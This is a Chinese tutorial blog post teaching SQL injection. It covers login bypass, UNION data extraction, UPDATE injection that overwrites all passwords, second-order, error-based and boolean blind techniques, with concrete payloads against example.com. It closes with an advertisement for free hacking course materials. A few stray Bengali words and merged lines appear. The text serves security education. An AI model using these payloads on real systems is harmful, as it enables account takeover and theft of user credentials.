SQL注入竟如此简单?手把手带你成为数据库“黑客”!
先来个目录,让大家心里有个数:
SQL,这玩意儿说白了就是一种编程语言,用来跟数据库“唠嗑”,查询或者修改里面的宝贝数据。
SQL注入?嘿,这可不是什么正经玩意儿!攻击者会往SQL语句里塞点“佐料”(恶意输入),让应用程序的数据库乖乖执行他们想要的SQL命令。
啥时候容易中招呢?当SQL查询里的输入,没经过严格的“安检”(过滤或转义),就可能出大事!轻则绕过身份验证,偷看点小秘密,重则篡改数据库,甚至直接拿下服务器(RCE)!
别看现在SQL注入好像少了,那是因为大多数Web框架都自带“金钟罩铁布衫”(内置保护机制)。但!是!它依然很常见!而且一旦找到,往往就是“一发入魂”的关键漏洞,能让你赚个盆满钵满!所以,刚开始挖漏洞的时候,还是得睁大眼睛找找它!
这章,咱们就来聊聊怎么找,怎么利用两种SQL注入:经典SQL注入和盲SQL注入。当然,还有NoSQL数据库里的注入,这年头,不用SQL的数据库也挺多的。
注意了! 本章的例子都是基于MySQL语法的。其他类型的数据库,SQL注入代码可能会有点小变化,但核心思想都是一样的!
SQL注入一般出现在哪儿? 简单!任何接受用户输入的应用程序的端点!
1. SQL注入的“内幕”
想搞懂SQL注入,咱得先知道SQL是啥。SQL,全称“结构化查询语言”,就是用来管理数据库,跟数据库“交流”的语言。传统上,数据库里有表、行、列、字段这些东西。
行和列里存着数据,这些数据都放在一个个“小格子”(字段)里。 想象一下,一个Web应用程序的数据库里,有个叫“Users”的表。这个表有三列:ID、Username(用户名)和Password(密码)。还有三行数据,每行存着不同用户的登录信息。
SQL查询语言,能让你跟数据库里的数据高效“互动”。 比如,用SQL的 SELECT
语句,就能从数据库里捞数据。 下面这个查询,能把整个“Users”表都给你捞出来:
SELECT * FROM Users;
这个查询,能把“Users”表里所有的用户名都给你:
SELECT Username FROM Users;
这个查询,能找出用户名是“admin”的所有用户:
SELECT * FROM Users WHERE Username='admin';
构建SQL查询语句的方法,那可是五花八门!想了解更多SQL语法?去W3Schools看看吧:
https://www.w3schools.com/sql/default.asp
2. 往SQL查询里“加点料”
2.1 万能密码?这操作也太骚了!
当攻击者能往目标网站访问数据库的SQL语句里,塞点自己的代码,从而执行他们想执行的任何SQL代码,SQL注入攻击就华丽丽地上演了!
举个栗子,假设一个网站让用户输入用户名和密码,然后把这些信息塞到SQL查询里,用来登录。 用户提交的POST请求参数,大概长这样:
POST /loginHost: example.com
(POST请求体)username=vickie&password=password123
这个SQL查询,会找出跟POST请求里提供的用户名和密码匹配的用户的ID。 然后,应用程序就会让你登录到这个用户的账户:
SELECT Id FROM UsersWHERE Username='vickie' AND Password='password123';
这看起来没毛病啊?用户猜不到别人的密码,就没法登录别人的账号,对吧?
错! 问题在于,攻击者可以插入SQL语言里的一些特殊字符,来扰乱查询的逻辑。 比如,攻击者提交了这么一个POST请求:
POST /loginHost: example.com
(POST请求体)username="admin';-- "&password=password123
生成的SQL查询就变成了这样:
SELECT Id FROM UsersWHERE Username='admin';-- ' AND Password='password123';
--
空格,这玩意儿在SQL里表示注释开始,后面的内容都不会被当成代码执行。 所以,攻击者通过在查询的 Username
部分加上 --
,就把SQL查询的 বাকি部分给注释掉了! 查询变成了:
SELECT Id FROM Users WHERE Username='admin';
这个查询,会返回管理员用户的ID,不管攻击者提供的密码是啥! 通过在SQL查询里注入特殊字符,攻击者成功绕过了身份验证,不用密码就能以管理员身份登录!
2.2 UNION:越权访问?小菜一碟!
绕过身份验证,可不是SQL注入的唯一“本事”。攻击者还能用它来偷看那些他们本不该看到的数据。 假设一个网站,让用户提供用户名和访问密钥,来证明自己的身份,然后访问他们的邮件列表:
GET /emails?username=vickie&accesskey=ZB6w0YLjzvAVmp6zvrHost: example.com
这个GET请求,可能会用下面的SQL语句来查询数据库:
SELECT Title, Body FROM EmailsWHERE Username='vickie' AND AccessKey='ZB6w0YLjzvAVmp6zvr';
这种情况下,攻击者可以用SQL查询,从其他他们没权限读取的表里,读取数据。 比如,他们给服务器发了这么一个HTTP请求:
GET /emails?username=vickie&accesskey="ZB6w0YLjzvAVmp6zvr' 【1】 UNION SELECT Username, Password FROM Users;-- "Host: example.com
服务器会把原始的SQL查询变成这样:
【1】 SELECT Title, Body FROM EmailsWHERE Username='vickie' AND AccessKey='ZB6w0YLjzvAVmp6zvr'【2】 UNION 【3】SELECT Username, Password FROM Users;【4】-- ;
SQL 的 UNION
【2】 运算符,能把两个不同的 SELECT
语句的结果“合并”到一起。 所以,这个查询会把第一个 SELECT
语句(返回用户邮件)【1】和第二个 SELECT
语句(返回用户表里所有用户名和密码)【3】的结果合并起来。 现在,攻击者就能在HTTP响应里,看到所有用户的用户名和密码了!(注意,很多SQL注入的payload,会把注入点【4】之后的内容注释掉,防止查询的其余部分扰乱查询的语法或逻辑。)
2.3 Update注入:改个密码?易如反掌!
SQL注入可不 শুধু限于 SELECT
语句。 攻击者还能把代码注入到 UPDATE
(更新记录)、DELETE
(删除记录)、INSERT
(插入新记录)这些语句里。
比如,这是用来更新目标网站上用户密码的HTTP POST请求:
POST /change_passwordHost: example.com
new_password=password12345
网站会用你的新密码和当前登录用户的ID,构建一个 UPDATE
查询。 这个查询会更新“Users”表里ID字段为2的那一行,把密码设置成 password12345
:
UPDATE UsersSET Password='password12345'WHERE Id = 2;
这种情况下,攻击者可以控制语句的 SET
子句,这个子句用来指定要更新哪些行。 攻击者可以构造一个这样的POST请求:
POST /change_passwordHost: example.
POST /change_passwordHost: example.com
new_password="password12345';--"
这个请求会生成下面的SQL查询:
UPDATE UsersSET Password='password12345';-- WHERE Id = 2;
指定应该更新哪些行的 WHERE
子句,在这个查询里被注释掉了! 数据库会更新表里的所有行,把“Users”表里所有用户的密码都改成 password12345
! 攻击者现在可以用这个密码,以任何人的身份登录了!
2.4 二阶SQL注入:隔山打牛,防不胜防!
前面说的SQL注入,都是“一阶SQL注入”。 当应用程序直接在SQL查询里使用用户提交的输入时,就会发生一阶SQL注入。
而“二阶SQL注入”,就更“狡猾”了。 当用户输入被存到数据库里,然后在SQL查询里被不安全地使用和检索时,就会发生二阶SQL注入。 即使应用程序在用户提交输入时,做了“安全处理”,但如果在从数据库里检索数据时,错误地把数据当成“安全”的,也可能出现这种漏洞。
举个栗子,一个Web应用程序,允许用户通过提供用户名和密码来创建账户。 假设一个“不怀好意”的用户提交了这样的请求:
POST /signupHost: example.com
username="vickie' UNION SELECT Username, Password FROM Users;-- "&password=password123
这个请求,会把用户名 vickie' UNION SELECT Username, Password FROM Users;--
和密码 password123
提交到 /signup
端点。 用户名POST请求参数里,包含了一个SQL注入的payload,这个payload会 SELECT
所有的用户名和密码,并把它们连接到数据库查询的结果里。
应用程序在用户提交时,对输入做了“安全处理”(具体怎么处理的,后面会讲)。
字符串 vickie' UNION SELECT Username, Password FROM Users;--
,被当成攻击者的用户名,存到了数据库里。
然后,这个“恶意”用户通过下面的GET请求,访问他们的邮件:
GET /emailsHost: example.com
这种情况下,假设用户没有提供用户名和访问密钥,应用程序会从数据库里检索当前登录用户的用户名,并用它来填充SQL查询:
SELECT Title, Body FROM EmailsWHERE Username='USERNAME'
但是!攻击者的用户名里包含了SQL代码,这会把SQL查询变成这样:
SELECT Title, Body FROM EmailsWHERE Username='vickie'UNION SELECT Username, Password FROM Users;--
这会把所有用户名和密码,当成邮件标题和正文,返回到HTTP响应里!
3. 怎么揪出SQL注入?
开始找SQL注入吧! 前面提过,我们可以把SQL注入分成一阶和二阶。 但还有另一种分类方法,在利用它们的时候很有用:经典SQL注入和盲SQL注入。 这两种类型的检测和利用方法,不太一样。
在深入研究每种类型之前,先说一个通用的检测方法: 在每个用户输入里,插入单引号字符('
),然后观察有没有错误或者其他异常情况。 单引号在SQL语句里,是个特殊字符,表示查询字符串的结束。 如果应用程序对SQL注入做了防护,那么它应该把单引号当成普通数据,插入单引号不应该触发数据库错误,或者改变查询的逻辑。
另一种通用的方法是fuzzing,就是给应用程序提交精心设计的SQL注入payload,然后观察服务器的响应。 25章再细聊这个。
除此之外,你可以提交为目标数据库精心设计的payload,触发数据库不同的响应,比如时间延迟或者数据库错误。 记住,你要找的是能执行你注入的SQL代码的线索!
3.1 经典SQL注入:直接“验货”!
经典SQL注入,是最容易找到和利用的。 在经典SQL注入里,SQL查询的结果会直接在HTTP响应里返回给攻击者。
经典SQL注入有两种“变种”:基于UNION的和基于错误的。
前面的邮件例子,就是基于UNION的。 攻击者用 UNION
运算符,把另一个查询的结果,连接到Web应用程序的响应里:
SELECT Title, Body FROM EmailsWHERE Username='vickie' AND AccessKey='ZB6w0YLjzvAVmp6zvr'UNION SELECT Username, Password FROM Users;-- ;
这种情况下,服务器会把所有用户名和密码,还有用户vickie的邮件,一起返回到HTTP响应里。
基于错误的SQL注入,则是在数据库里触发一个错误,从返回的错误信息里“套话”。
比如,我们可以用MySQL里的 CONVERT()
函数来“搞事情”:
SELECT Title, Body FROM EmailsWHERE Username='vickie' AND AccessKey='ZB6w0YLjzvAVmp6zvr'UNION SELECT 1,CONVERT((SELECT Password FROM Users WHERE Username="admin"), DATE); –-
CONVERT(值, 格式)
函数,会尝试把值转换成指定的格式。 所以,这个查询会让数据库把管理员的密码转换成日期格式,这有时候会让数据库“报错”,像这样:
Conversion failed when trying to convert "t5dJ12rp$fMDEbSWz" to data type "date".
数据库“报错”,是为了帮助开发人员定位问题。 但如果错误信息也显示给普通用户,就会不小心泄露信息。
在这个例子里,数据库说,它没法把字符串值 “t5dJ12rp$fMDEbSWz”
转换成日期格式。 但是!t5dJ12rp$fMDEbSWz
是管理员账户的密码! 通过显示详细的错误信息,数据库不小心把敏感信息泄露给了“外人”。
3.2 盲SQL注入: “盲人摸象”!
盲SQL注入,也叫“推理SQL注入”,更难检测和利用。 当应用程序不返回SQL数据,或者详细的错误信息,导致攻击者没法直接从数据库里“捞”信息时,就会发生盲SQL注入。
这种情况下,攻击者可以通过给服务器发送SQL注入payload,并观察服务器的后续行为来“推断”信息。 盲SQL注入也有两种“变种”:基于布尔值的和基于时间的。
3.2.1 布尔盲注: “猜猜猜”!
当攻击者通过把测试条件注入到SQL查询里(这个查询会返回真或假),来推断数据库的结构时,就会发生基于布尔值的SQL注入。 利用这些响应,攻击者可以慢慢地“猜”出数据库的内容。
举个栗子,假设 example.com
维护了一个单独的表,用来记录平台上的“高级会员”。
高级会员能访问高级功能,他们的主页会显示一个“欢迎,高级会员!”的横幅。
网站通过cookie里的用户ID,并把它跟“高级会员”表进行匹配,来确定谁是高级会员。 包含这样一个cookie的GET请求,可能是这样的:
GET /Host: example.comCookie: user_id=2
应用程序用这个请求,生成下面的SQL查询:
SELECT * FROM PremiumUsers WHERE Id='2';
如果这个查询返回了数据,说明用户是高级会员,“欢迎,高级会员!”的横幅就会显示出来。 否则,横幅就不会显示。
假设你的账户 id=2
,但你不是高级会员。 如果你提交了这个用户ID,会发生什么?
2' UNION SELECT Id FROM UsersWHERE Username = 'admin'and SUBSTR(Password, 1, 1) ='a';--
那么,这个查询会变成这样:
SELECT * FROM PremiumUsers WHERE Id='2'UNION SELECT Id FROM UsersWHERE Username = 'admin'and 【1】SUBSTR(Password, 1, 1) = 'a';-- '
SUBSTR(字符串, 位置, 长度)
函数,会从字符串的指定位置(字符串从索引1开始)提取一个指定长度的子字符串。 所以,SUBSTR(Password, 1, 1)
【1】 会返回每个用户密码的第一个字符。
因为用户2不是高级会员,这个查询是否返回数据,取决于第二个 SELECT
语句。 如果admin账户的密码以 a
开头,第二个 SELECT
语句就会返回数据。
这意味着,你可以“爆破”管理员的密码! 如果你把这个用户ID作为cookie提交,如果管理员账户的密码以 a
开头,Web应用程序就会显示高级会员的横幅。 你可以用字母 b
、c
等等,继续尝试这个查询,直到成功为止。
最后
从时代发展的角度看,网络安全的知识是学不完的,而且以后要学的会更多,同学们要摆正心态,既然选择入门网络安全,就不能仅仅只是入门程度而已,能力越强机会才越多。
因为入门学习阶段知识点比较杂,所以我讲得比较笼统,大家如果有不懂的地方可以找我咨询,我保证知无不言言无不尽,需要相关资料也可以找我要,我的网盘里一大堆资料都在吃灰呢。
干货主要有:
①1000+CTF历届题库(主流和经典的应该都有了)
②CTF技术文档(最全中文版)
③项目源码(四五十个有趣且经典的练手项目及源码)
④ CTF大赛、web安全、渗透测试方面的视频(适合小白学习)
⑤ 网络安全学习路线图(告别不入流的学习)
⑥ CTF/渗透测试工具镜像文件大全
⑦ 2023密码学/隐身术/PWN技术手册大全
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
扫码领取
